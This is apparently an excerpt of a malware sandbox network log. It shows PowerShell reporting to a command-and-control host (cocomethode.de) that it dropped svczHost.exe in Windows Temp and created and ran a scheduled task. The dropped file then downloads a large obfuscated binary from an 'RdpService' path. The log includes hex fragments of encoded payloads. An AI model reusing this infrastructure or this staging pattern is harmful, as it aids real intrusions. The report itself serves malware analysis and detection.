e8 de 18 ab 01 01 01 01 01 01 01 01 51 44 01 01 65 87 09 01 99 0f 59 66 01 01 01 01 01 01 01 01 f1 01 23 Data Ascii: L[A M Uihr!qsnfs`l!b`oonu!cd!sto!ho!ENR!lned/%v_ZZZ[[ShbiQDeYf#
2024-12-11 11:44:30 UTC	1369	IN	Data Raw: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 49 8c 04 e8 e4 4f 01 49 8c 0c db e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c2 d9 25 01 49 8c 04 e5 e4 4f 01 49 8c 0c d4 e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 d9 25 01 49 8c 04 06 e7 4f 01 49 8c 0c f9 e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 88 d9 25 01 49 8c 04 0b e7 4f 01 49 8c 0c fa e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 6d d9 25 01 49 8c 04 fc e4 4f 01 49 8c 0c ef e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 4e d9 25 01 49 8c 04 19 e7 4f 01 49 8c 0c 08 e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 33 d9 25 01 49 8c 04 0a e7 4f 01 49 8c 0c fd e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 14 d9 25 01 49 8c 04 ff e4 4f 01 49 8c 0c ee e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 f9 d6 25 01 49 8c 04 f0 e4 4f 01 Data Ascii: IOIOI8tI%IOIOI8tI%IOIOI8tI%IOIOI8tIm%IOIOI8tIN%IOIOI8tI3%IOIOI8tI%IOIOI8tI%IO
2024-12-11 11:44:30 UTC	1369	IN	Data Raw: 00 c2 49 8a d1 e8 8c d2 25 01 49 8c 04 47 e9 4f 01 49 8c 0c 36 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 71 d2 25 01 49 8c 04 38 e9 4f 01 49 8c 0c 2b e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 52 d2 25 01 49 8c 04 35 e9 4f 01 49 8c 0c 24 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 37 d2 25 01 49 8c 04 3e e9 4f 01 49 8c 0c 31 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 18 d2 25 01 49 8c 04 4b e9 4f 01 49 8c 0c 3a e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 fd d3 25 01 49 8c 04 4c e9 4f 01 49 8c 0c 3f e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 de d3 25 01 49 8c 04 59 e9 4f 01 49 8c 0c 48 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c3 d3 25 01 49 8c 04 7a e9 4f 01 49 8c 0c 6d e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a4 d3 25 01 49 8c 04 a7 e9 4f 01 49 8c 0c 96 e9 4f Data Ascii: I%IGOI6OI8tIq%I8OI+OI8tIR%I5OI$OI8tI7%I>OI1OI8tI%IKOI:OI8tI%ILOI?OI8tI%IYOIHOI8tI%IzOImOI8tI%IOIO
2024-12-11 11:44:30 UTC	1161	IN	Data Raw: 3b cf 25 01 49 8c 04 b2 eb 4f 01 49 8c 0c a5 eb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 1c cf 25 01 49 8c 04 f7 f3 4f 01 49 8c 0c e6 f3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 01 cf 25 01 49 8c 04 18 f2 4f 01 49 8c 0c 0b f2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e2 cc 25 01 49 8c 04 85 f2 4f 01 49 8c 0c 74 f2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 cc 25 01 49 8c 04 9e 76 90 01 49 8a 01 49 8c 0c cc db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 cc 25 01 49 8c 04 86 76 90 01 49 8a 01 49 8c 0c b4 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 cc 25 01 49 8c 04 6e 76 90 01 49 8a 01 49 8c 0c cc db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 cc 25 01 49 8c 04 5e 76 90 01 49 8a 01 49 8c 0c c4 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 cc 25 01 49 8c 04 46 76 90 01 Data Ascii: ;%IOIOI8tI%IOIOI8tI%IOIOI8tI%IOItOI8tI%IvIIOI8tI%IvIIOI8tIg%InvIIOI8tIG%I^vIIOI8tI'%IFv
2024-12-11 11:44:30 UTC	1369	IN	Data Raw: 49 82 38 01 74 00 c2 49 8a d1 e8 87 c8 25 01 49 8c 04 ae 74 90 01 49 8a 01 49 8c 0c 4c db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c8 25 01 49 8c 04 96 74 90 01 49 8a 01 49 8c 0c 34 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c8 25 01 49 8c 04 86 74 90 01 49 8a 01 49 8c 0c 24 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c8 25 01 49 8c 04 76 74 90 01 49 8a 01 49 8c 0c 0c db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c8 25 01 49 8c 04 66 74 90 01 49 8a 01 49 8c 0c f4 d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c9 25 01 49 8c 04 4e 74 90 01 49 8a 01 49 8c 0c dc d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c9 25 01 49 8c 04 36 74 90 01 49 8a 01 49 8c 0c c4 d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c9 25 01 49 8c 04 26 74 90 01 49 8a 01 49 8c 0c ac d8 4f Data Ascii: I8tI%ItIILOI8tIg%ItII4OI8tIG%ItII$OI8tI'%IvtIIOI8tI%IftIIOI8tI%INtIIOI8tI%I6tIIOI8tI%I&tIIO
2024-12-11 11:44:30 UTC	1369	IN	Data Raw: 49 8c 0c fc d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c5 25 01 49 8c 04 d6 73 90 01 49 8a 01 49 8c 0c e4 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c5 25 01 49 8c 04 be 73 90 01 49 8a 01 49 8c 0c cc d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c2 25 01 49 8c 04 a6 73 90 01 49 8a 01 49 8c 0c b4 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c2 25 01 49 8c 04 8e 73 90 01 49 8a 01 49 8c 0c 9c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c2 25 01 49 8c 04 76 73 90 01 49 8a 01 49 8c 0c 84 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c2 25 01 49 8c 04 5e 73 90 01 49 8a 01 49 8c 0c 6c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c2 25 01 49 8c 04 46 73 90 01 49 8a 01 49 8c 0c 54 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c2 25 01 49 8c 04 2e 73 90 01 49 8a Data Ascii: IOI8tI'%IsIIOI8tI%IsIIOI8tI%IsIIOI8tI%IsIIOI8tI%IvsIIOI8tI%I^sIIlOI8tIg%IFsIITOI8tIG%I.sI
2024-12-11 11:44:30 UTC	1369	IN	Data Raw: fe 6e 90 01 49 8a 01 49 8c 0c 44 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 bf 25 01 49 8c 04 e6 6e 90 01 49 8a 01 49 8c 0c 3c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 bf 25 01 49 8c 04 ce 6e 90 01 49 8a 01 49 8c 0c 2c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 bf 25 01 49 8c 04 c6 6e 90 01 49 8a 01 49 8c 0c 14 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 bf 25 01 49 8c 04 b6 6e 90 01 49 8a 01 49 8c 0c 04 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 bf 25 01 49 8c 04 ae 6e 90 01 49 8a 01 49 8c 0c ec d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 bf 25 01 49 8c 04 9e 6e 90 01 49 8a 01 49 8c 0c d4 d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 bf 25 01 49 8c 04 96 6e 90 01 49 8a 01 49 8c 0c bc d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 bc 25 01 49 8c Data Ascii: nIIDOI8tI%InII<OI8tI%InII,OI8tI%InIIOI8tIg%InIIOI8tIG%InIIOI8tI'%InIIOI8tI%InIIOI8tI%I
2024-12-11 11:44:30 UTC	1369	IN	Data Raw: 87 b8 25 01 49 8c 04 86 6f 90 01 49 8a 01 49 8c 0c 0c d2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 b8 25 01 49 8c 04 a6 6f 90 01 49 8a 01 49 8c 0c f4 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 b8 25 01 49 8c 04 a6 6f 90 01 49 8a 01 49 8c 0c e4 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 b8 25 01 49 8c 04 8e 6f 90 01 49 8a 01 49 8c 0c d4 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 b8 25 01 49 8c 04 7e 6f 90 01 49 8a 01 49 8c 0c bc d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 b9 25 01 49 8c 04 76 6f 90 01 49 8a 01 49 8c 0c a4 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 b9 25 01 49 8c 04 6e 6f 90 01 49 8a 01 49 8c 0c 8c d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 b9 25 01 49 8c 04 56 6f 90 01 49 8a 01 49 8c 0c 74 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 Data Ascii: %IoIIOI8tIg%IoIIOI8tIG%IoIIOI8tI'%IoIIOI8tI%I~oIIOI8tI%IvoIIOI8tI%InoIIOI8tI%IVoIItOI8tI
2024-12-11 11:44:30 UTC	1369	IN	Data Raw: 74 00 c2 49 8a d1 e8 27 b5 25 01 49 8c 04 8e 6a 90 01 49 8a 01 49 8c 0c 74 ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 b5 25 01 49 8c 04 76 6a 90 01 49 8a 01 49 8c 0c 6c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 b2 25 01 49 8c 04 5e 6a 90 01 49 8a 01 49 8c 0c 54 ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 b2 25 01 49 8c 04 46 6a 90 01 49 8a 01 49 8c 0c 3c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 b2 25 01 49 8c 04 2e 6a 90 01 49 8a 01 49 8c 0c 24 ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 b2 25 01 49 8c 04 1e 6a 90 01 49 8a 01 49 8c 0c 0c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 b2 25 01 49 8c 04 06 6a 90 01 49 8a 01 49 8c 0c 1c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 b2 25 01 49 8c 04 ee 6b 90 01 49 8a 01 49 8c 0c 04 ce 4f 01 49 82 38 Data Ascii: tI'%IjIItOI8tI%IvjIIlOI8tI%I^jIITOI8tI%IFjII<OI8tI%I.jII$OI8tI%IjIIOI8tIg%IjIIOI8tIG%IkIIOI8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49758	172.67.128.139	443	6280	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:41 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 200
2024-12-11 11:44:41 UTC	200	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 44 6f 77 6e 6c 6f 61 64 20 63 6f 6d 70 6c 65 74 65 64 3a 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 54 68 65 20 66 69 6c 65 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 20 77 61 73 20 70 72 6f 63 65 73 73 65 64 20 61 6e 64 20 73 61 76 65 64 20 61 73 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 73 76 63 7a 48 6f 73 74 2e 65 78 65 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Download completed: C:\\\\Windows\\\\Temp\\\\file\"", "\"The file C:\\\\Windows\\\\Temp\\\\file was processed and saved as C:\\\\Windows\\\\Temp\\\\svczHost.exe\"", "----------"]
2024-12-11 11:44:41 UTC	1196	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:41 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qQGr3PC61R7F1UgdlDSZaVT63%2BM9uVcgHnhDrjGmsgL8Z0nAckLo%2BrdlkUmagmdQCXiJ18aWx34QK2ZCeKgZgHUYLjhRQ%2BgYyyXrwFq7Hj6rXV2UM%2Fa79cnUFXUIzhp5NLc%2Fny8Ygc1A"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5241&min_rtt=1002&rtt_var=8390&sent=17&recv=19&lost=0&retrans=0&sent_bytes=3536&recv_bytes=10284&delivery_rate=2637759&cwnd=254&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f053963199bbd46-ATL server-timing: cfL4;desc="?proto=TCP&rtt=47&min_rtt=39&rtt_var=15&sent=12&recv=14&lost=0&retrans=0&sent_bytes=27417&recv_bytes=3108&delivery_rate=1336387755&cwnd=210&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=61&min_rtt=61&rtt_var=18&sent=6&recv=8&lost=0&retrans=0&sent_bytes=19381&recv_bytes=1994&delivery_rate=1039412698&cwnd=113&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:44:41 UTC	430	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 33 39 26 6d 69 6e 5f 72 74 74 3d 33 37 26 72 74 74 5f 76 61 72 3d 31 35 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 37 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 36 31 32 32 26 72 65 63 76 5f 62 79 74 65 73 3d 31 33 36 30 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 35 32 32 38 36 30 34 36 35 26 63 77 6e 64 3d 31 31 33 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 39 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=39&min_rtt=37&rtt_var=15&sent=5&recv=7&lost=0&retrans=0&sent_bytes=6122&recv_bytes=1360&delivery_rate=1522860465&cwnd=113&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=1139

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49759	172.67.128.139	443	6280	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:42 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 97
2024-12-11 11:44:42 UTC	97	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 44 65 74 65 6c 65 20 46 69 6c 65 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 61 64 64 20 74 61 73 6b 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Detele File C:\\\\Windows\\\\Temp\\\\file\"", "\"add task\"", "----------"]
2024-12-11 11:44:42 UTC	1214	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:42 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lDPwKnvRyyynDs3J29vhv%2F6He%2BbwY0fZRdL53isxXMib0F71P63GHuvuamIrWzkGRPXj2iiKVqZCkM84JsIxC7RWr26cbT212RsEw1SEDIBnHjOvdXqYY9eTiCpOaEcJRaXC%2FNof7RlA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10521&min_rtt=988&rtt_var=13186&sent=5894&recv=2640&lost=0&retrans=0&sent_bytes=8408231&recv_bytes=33656&delivery_rate=49742976&cwnd=272&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f053968a8274569-ATL server-timing: cfL4;desc="?proto=TCP&rtt=60&min_rtt=20&rtt_var=13&sent=317&recv=293&lost=0&retrans=0&sent_bytes=8358683&recv_bytes=1231&delivery_rate=3274150000&cwnd=125&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113912&min_rtt=113885&rtt_var=24066&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1041&delivery_rate=33611&cwnd=252&unsent_bytes=0&cid=e95e45e9a3747aec&ts=842&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49761	172.67.128.139	443	6280	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:44 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 64
2024-12-11 11:44:44 UTC	64	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 72 75 6e 20 74 61 73 6b 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 6b 65 74 20 74 68 75 63 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"run task\"", "\"ket thuc\"", "----------"]
2024-12-11 11:44:45 UTC	1209	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:45 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FlZTlTlTXRzI2z009eNeNVPQ49drsOV%2FpQKRao%2BW6vXjXpldZYvSEkLawEvRKlauSDpmj9IIo8OR5Qb324vs8285V7u2nBrDEzmKACdBOgdGEV6GA66g5GVp64xxcaAO%2FjVfGCty2ykk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18515&min_rtt=1002&rtt_var=28107&sent=23&recv=25&lost=0&retrans=0&sent_bytes=5078&recv_bytes=12101&delivery_rate=2637759&cwnd=255&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f053979e9736740-ATL server-timing: cfL4;desc="?proto=TCP&rtt=57&min_rtt=20&rtt_var=14&sent=332&recv=307&lost=0&retrans=0&sent_bytes=8358486&recv_bytes=1210&delivery_rate=3274150000&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113822&min_rtt=113789&rtt_var=24054&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1008&delivery_rate=33632&cwnd=252&unsent_bytes=0&cid=9efe8ac32162100b&ts=585&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49763	172.67.128.139	443	9124	C:\Windows\Temp\svczHost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:45:35 UTC	64	OUT	GET /StaticFile/RdpService/38 HTTP/1.1 Host: cocomethode.de
2024-12-11 11:45:35 UTC	1348	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:45:35 GMT Content-Type: application/octet-stream Content-Length: 9429504 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image hash: 5641F3A5B9787F23D3D34F0D9F791B7A CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uXy72qnCAi7A6TapiblAmrFpYDw5pK7F6Mft6rJsehRfUaui%2B6AUjhFMvK9si9nkU8JUluIv4w3pem4Eb4gSjhP0YEbtdd2Q0K4h5IVoZlVX4eGuDfulysZ8r7dGOIg%2FSp8%2Fj3teQMNB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24981&min_rtt=1101&rtt_var=30940&sent=13&recv=15&lost=0&retrans=0&sent_bytes=4628&recv_bytes=5249&delivery_rate=2584070&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f053ab3097d53c3-ATL server-timing: cfL4;desc="?proto=TCP&rtt=57&min_rtt=55&rtt_var=19&sent=9&recv=11&lost=0&retrans=0&sent_bytes=1986&recv_bytes=1726&delivery_rate=1129017241&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=42&min_rtt=41&rtt_var=18&sent=6&recv=8&lost=0&retrans=0&sent_bytes=1186&recv_bytes=965&delivery_rate=1235528301&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:45:35 UTC	624	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 33 26 6d 69 6e 5f 72 74 74 3d 34 33 26 72 74 74 5f 76 61 72 3d 32 31 26 73 65 6e 74 3d 31 26 72 65 63 76 3d 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 33 32 36 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 32 33 37 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 38 26 6d 69 6e 5f 72 74 74 3d 34 37 26 72 74 74 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=43&rtt_var=21&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=326&delivery_rate=0&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=48&min_rtt=47&rtt
2024-12-11 11:45:35 UTC	766	IN	Data Raw: 6b 7c b6 26 25 26 26 26 22 26 26 26 d9 d9 26 26 9e 26 26 26 26 26 26 26 66 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 27 26 26 28 39 9c 28 26 92 2f eb 07 9e 27 6a eb 07 72 4e 4f 55 06 56 54 49 41 54 47 4b 06 45 47 48 48 49 52 06 44 43 06 54 53 48 06 4f 48 06 62 69 75 06 4b 49 42 43 08 2b 2b 2c 02 26 26 26 26 26 26 26 c8 cb 10 06 8c aa 7e 55 8c aa 7e 55 8c aa 7e 55 85 d2 ed 55 82 aa 7e 55 fc 2b 7f 54 9b aa 7e 55 8c aa 7f 55 0a ab 7e 55 9c 2e 7d 54 9f aa 7e 55 9c 2e 7a 54 b5 aa 7e 55 c4 2f 7b 54 8f aa 7e 55 fc 2b 7a 54 8e aa 7e 55 8c aa 7e 55 8d aa 7e 55 9c 2e 7b 54 fa aa 7e 55 c4 2f 7e 54 8d aa 7e 55 c4 2f 7c 54 8d aa 7e 55 74 4f 45 4e 8c aa 7e 55 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 Data Ascii: k\|&%&&&"&&&&&&&&&&&&f&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&'&&(9(&/'jrNOUVTIATGKEGHHIRDCTSHOHbiuKIBC++,&&&&&&&~U~U~UU~U+T~UU~U.}T~U.zT~U/{T~U+zT~U~U~U.{T~U/~T~U/\|T~UtOEN~U&&&&&&&&&&&&&&&
2024-12-11 11:45:35 UTC	1369	IN	Data Raw: 26 26 94 23 26 26 26 36 88 26 26 20 26 26 26 e0 a9 26 26 26 26 26 26 26 26 26 26 26 26 26 66 26 26 66 08 54 43 4a 49 45 26 26 6a 32 26 26 26 06 88 26 26 30 26 26 26 ea a9 26 26 26 26 26 26 26 26 26 26 26 26 26 66 26 26 64 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 Data Ascii: &&#&&&6&& &&&&&&&&&&&&&&&&f&&fTCJIE&&j2&&&&&0&&&&&&&&&&&&&&&&f&&d&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
